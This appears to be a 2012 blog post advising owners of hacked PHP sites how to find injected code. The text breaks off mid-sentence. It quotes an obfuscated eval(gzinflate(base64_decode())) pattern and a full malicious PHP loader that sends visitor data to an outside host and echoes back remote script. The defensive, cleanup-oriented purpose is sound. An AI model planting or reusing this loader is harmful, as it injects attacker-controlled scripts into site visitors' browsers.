Search
Archives

You are currently browsing the archives for the PHP category.

Categories
Links:

Archive for the ‘PHP’ Category

PostHeaderIcon forms of website hacking php

PostDateIcon March 28th, 2012 | PostAuthorIcon Author: admin

If you realize that your php web site has been hacked, which most likely is a result of trojans on your computer, first scan your computer with an anti-malware, then follow these steps:

1.) verify if .htaccess file was modified to allow access to other files with malicious scripts.

2.) verify if there is some hard to read code in any of your php files. For example:

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28' ..here goes some base 64 encoded gziped content ..  '\x29\x29\x29\x3B",".");

which stands for :

eval(gzinflate(base64_decode(' ..... ')))

3.) verify if there is a java script which is not yours, included in your files. For example, i found this code in a file:

$wp_rssh = 'http'; $wp_gt = 'get';
error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
if ((!isset($_SERVER['HTTP_X_FORWARDED_FOR'])) && (!isset($_SERVER['HTTP_VIA']))){
$wp_gturl=$wp_rssh."://".$wp_rssh."s".$wp_gt.".com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$wp_cntnt = @file_get_contents($wp_gturl);}
if ( substr($wp_cntnt,1,3) === 'scr' ){
echo $wp_cntnt; }}

which gets the file content from a site, in this case:

http://httpsget.com/get/?ip=YOUR_SITE_IP&referer=YOUR_SITE_DOMAIN&ua=Mozilla%2F5.0+%28Windows+NT+5.1%3B+rv%3A11.0%29+Gecko%2F20100101+Firefox%2F11.0

If the result of the received content starts with